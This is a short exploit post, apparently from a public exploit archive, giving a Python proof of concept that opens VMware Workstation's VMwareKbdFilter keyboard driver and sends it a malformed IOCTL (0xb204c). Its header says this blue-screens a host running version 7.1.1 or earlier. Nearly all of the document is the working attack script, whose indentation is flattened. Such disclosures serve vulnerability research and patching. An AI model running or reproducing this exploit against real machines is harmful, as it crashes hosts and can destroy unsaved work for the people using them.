VMware Workstation 7.1.1 Denial Of Service

`#!/usr/bin/python  
  
#################################################################  
#  
# Title: VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit  
# Author: Lufeng Li of Neusoft Corporation  
# Vendor: www.vmware.com  
# Platform: Windows Vista  
# Tested: VMware Workstation v7.1.1 build-282343  
# Vulnerable: VMware Workstation <= 7.1.1 build-282343  
# Vendor: http://www.vmware.com/  
# Test: Run this Script on host OS will make host OS BSoD  
#  
#################################################################  
  
from ctypes import *  
  
kernel32 = windll.kernel32  
Psapi = windll.Psapi  
  
if __name__ == '__main__':  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
OPEN_EXISTING = 0x3  
CREATE_ALWAYS = 0x2  
DEVICE_NAME = "\\\\.\\VMwareKbdFilter"  
  
dwReturn = c_ulong()  
out_size = 1024  
in_size = 1024  
in_data =''  
out_data =''  
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,  
0, None, CREATE_ALWAYS, 0, None)  
  
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)  
  
`